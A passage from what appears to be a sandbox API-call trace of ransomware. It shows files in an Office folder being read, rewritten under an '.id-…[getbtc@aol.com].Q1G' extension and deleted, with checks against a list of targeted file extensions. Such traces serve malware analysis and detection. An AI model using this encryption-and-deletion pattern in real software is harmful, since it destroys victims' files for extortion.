SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.646] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0261.647] GetLastError () returned 0x0 [0261.647] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0261.865] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0261.866] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.866] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.866] SetEndOfFile (hFile=0x3d8) returned 1 [0261.866] CloseHandle (hObject=0x3d8) returned 1 [0261.867] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.867] SetEndOfFile (hFile=0x1bc) returned 1 [0261.869] CloseHandle (hObject=0x1bc) returned 1 [0261.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico")) returned 1 [0261.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0261.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0261.889] lstrlenW (lpString=".doc") returned 4 [0261.889] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.889] lstrlenW (lpString=".docx") returned 5 [0261.889] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0261.889] lstrlenW (lpString=".pdf") returned 4 [0261.889] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.889] lstrlenW (lpString=".xls") returned 4 [0261.889] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.889] lstrlenW (lpString=".xlsx") returned 5 [0261.889] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0261.889] lstrlenW (lpString=".ppt") returned 4 [0261.889] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0261.889] lstrlenW (lpString=".zip") returned 4 [0261.889] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.889] lstrlenW (lpString=".rar") returned 4 [0261.889] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.889] lstrlenW (lpString=".bz2") returned 4 [0261.889] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.889] lstrlenW (lpString=".7z") returned 3 [0261.889] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0261.890] lstrlenW (lpString=".dbf") returned 4 [0261.890] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0261.890] lstrlenW (lpString=".1cd") returned 4 [0261.890] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0261.890] lstrlenW (lpString=".jpg") returned 4 [0261.890] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0261.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0261.890] lstrlenW (lpString=".doc") returned 4 [0261.890] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.890] lstrlenW (lpString=".docx") returned 5 [0261.890] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0261.890] lstrlenW (lpString=".pdf") returned 4 [0261.890] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.890] lstrlenW (lpString=".xls") returned 4 [0261.890] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.890] lstrlenW (lpString=".xlsx") returned 5 [0261.890] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0261.890] lstrlenW (lpString=".ppt") returned 4 [0261.890] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0261.890] lstrlenW (lpString=".zip") returned 4 [0261.890] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.890] lstrlenW (lpString=".rar") returned 4 [0261.890] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.890] lstrlenW (lpString=".bz2") returned 4 [0261.890] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.890] lstrlenW (lpString=".7z") returned 3 [0261.890] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0261.890] lstrlenW (lpString=".dbf") returned 4 [0261.890] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0261.890] lstrlenW (lpString=".1cd") returned 4 [0261.891] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0261.891] lstrlenW (lpString=".jpg") returned 4 [0261.891] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.891] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0261.891] lstrlenW (lpString="EXITEM.CFG") returned 10 [0261.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0261.891] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=838) returned 1 [0261.891] CloseHandle (hObject=0x3c4) returned 1 [0261.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg")) returned 0x20 [0261.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0261.892] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.892] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0261.893] GetLastError () returned 0x0 [0261.893] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x346, lpOverlapped=0x0) returned 1 [0261.941] WriteFile (in: hFile=0x390, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x350, lpOverlapped=0x0) returned 1 [0261.942] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.942] WriteFile (in: hFile=0x390, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0261.942] SetEndOfFile (hFile=0x390) returned 1 [0261.943] CloseHandle (hObject=0x390) returned 1 [0261.943] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.943] SetEndOfFile (hFile=0x3c4) returned 1 [0261.945] CloseHandle (hObject=0x3c4) returned 1 [0261.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg")) returned 1 [0261.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0261.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0261.946] lstrlenW (lpString=".doc") returned 4 [0261.946] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.946] lstrlenW (lpString=".docx") returned 5 [0261.946] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0261.946] lstrlenW (lpString=".pdf") returned 4 [0261.946] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.946] lstrlenW (lpString=".xls") returned 4 [0261.946] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.946] lstrlenW (lpString=".xlsx") returned 5 [0261.946] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0261.946] lstrlenW (lpString=".ppt") returned 4 [0261.946] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0261.946] lstrlenW (lpString=".zip") returned 4 [0261.946] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.946] lstrlenW (lpString=".rar") returned 4 [0261.946] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.946] lstrlenW (lpString=".bz2") returned 4 [0261.946] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.946] lstrlenW (lpString=".7z") returned 3 [0261.946] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0261.946] lstrlenW (lpString=".dbf") returned 4 [0261.946] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0261.946] lstrlenW (lpString=".1cd") returned 4 [0261.946] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0261.946] lstrlenW (lpString=".jpg") returned 4 [0261.946] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0261.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0261.946] lstrlenW (lpString=".doc") returned 4 [0261.947] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.947] lstrlenW (lpString=".docx") returned 5 [0261.947] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0261.947] lstrlenW (lpString=".pdf") returned 4 [0261.947] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.947] lstrlenW (lpString=".xls") returned 4 [0261.947] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.947] lstrlenW (lpString=".xlsx") returned 5 [0261.947] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0261.947] lstrlenW (lpString=".ppt") returned 4 [0261.947] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0261.947] lstrlenW (lpString=".zip") returned 4 [0261.947] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.947] lstrlenW (lpString=".rar") returned 4 [0261.947] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.947] lstrlenW (lpString=".bz2") returned 4 [0261.947] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.947] lstrlenW (lpString=".7z") returned 3 [0261.947] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0261.947] lstrlenW (lpString=".dbf") returned 4 [0261.947] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0261.947] lstrlenW (lpString=".1cd") returned 4 [0261.947] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0261.947] lstrlenW (lpString=".jpg") returned 4 [0261.947] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.947] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0261.947] lstrlenW (lpString="INFOMAIL.CFG") returned 12 [0261.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.995] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=616) returned 1 [0261.995] CloseHandle (hObject=0x3a0) returned 1 [0261.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg")) returned 0x20 [0261.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.014] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.015] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.016] GetLastError () returned 0x0 [0262.016] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x268, lpOverlapped=0x0) returned 1 [0262.016] WriteFile (in: hFile=0x37c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x270, lpOverlapped=0x0) returned 1 [0262.017] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.017] WriteFile (in: hFile=0x37c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.017] SetEndOfFile (hFile=0x37c) returned 1 [0262.017] CloseHandle (hObject=0x37c) returned 1 [0262.018] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.018] SetEndOfFile (hFile=0x3a0) returned 1 [0262.020] CloseHandle (hObject=0x3a0) returned 1 [0262.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg")) returned 1 [0262.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0262.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0262.021] lstrlenW (lpString=".doc") returned 4 [0262.021] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.021] lstrlenW (lpString=".docx") returned 5 [0262.021] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0262.021] lstrlenW (lpString=".pdf") returned 4 [0262.021] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.021] lstrlenW (lpString=".xls") returned 4 [0262.021] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.021] lstrlenW (lpString=".xlsx") returned 5 [0262.021] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0262.021] lstrlenW (lpString=".ppt") returned 4 [0262.021] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0262.021] lstrlenW (lpString=".zip") returned 4 [0262.021] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.021] lstrlenW (lpString=".rar") returned 4 [0262.021] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.021] lstrlenW (lpString=".bz2") returned 4 [0262.021] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.021] lstrlenW (lpString=".7z") returned 3 [0262.021] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0262.021] lstrlenW (lpString=".dbf") returned 4 [0262.021] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0262.021] lstrlenW (lpString=".1cd") returned 4 [0262.021] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0262.021] lstrlenW (lpString=".jpg") returned 4 [0262.022] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0262.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0262.022] lstrlenW (lpString=".doc") returned 4 [0262.022] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.022] lstrlenW (lpString=".docx") returned 5 [0262.022] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0262.022] lstrlenW (lpString=".pdf") returned 4 [0262.022] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.022] lstrlenW (lpString=".xls") returned 4 [0262.022] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.022] lstrlenW (lpString=".xlsx") returned 5 [0262.022] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0262.022] lstrlenW (lpString=".ppt") returned 4 [0262.022] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0262.022] lstrlenW (lpString=".zip") returned 4 [0262.022] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.022] lstrlenW (lpString=".rar") returned 4 [0262.022] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.022] lstrlenW (lpString=".bz2") returned 4 [0262.022] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.022] lstrlenW (lpString=".7z") returned 3 [0262.022] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0262.022] lstrlenW (lpString=".dbf") returned 4 [0262.022] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0262.022] lstrlenW (lpString=".1cd") returned 4 [0262.022] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0262.022] lstrlenW (lpString=".jpg") returned 4 [0262.022] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.023] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.023] lstrlenW (lpString="IPML.ICO") returned 8 [0262.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.039] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1078) returned 1 [0262.039] CloseHandle (hObject=0x39c) returned 1 [0262.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico")) returned 0x20 [0262.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.067] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.067] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico.id-9c354b42.[getbtc@aol.com].q1g"), 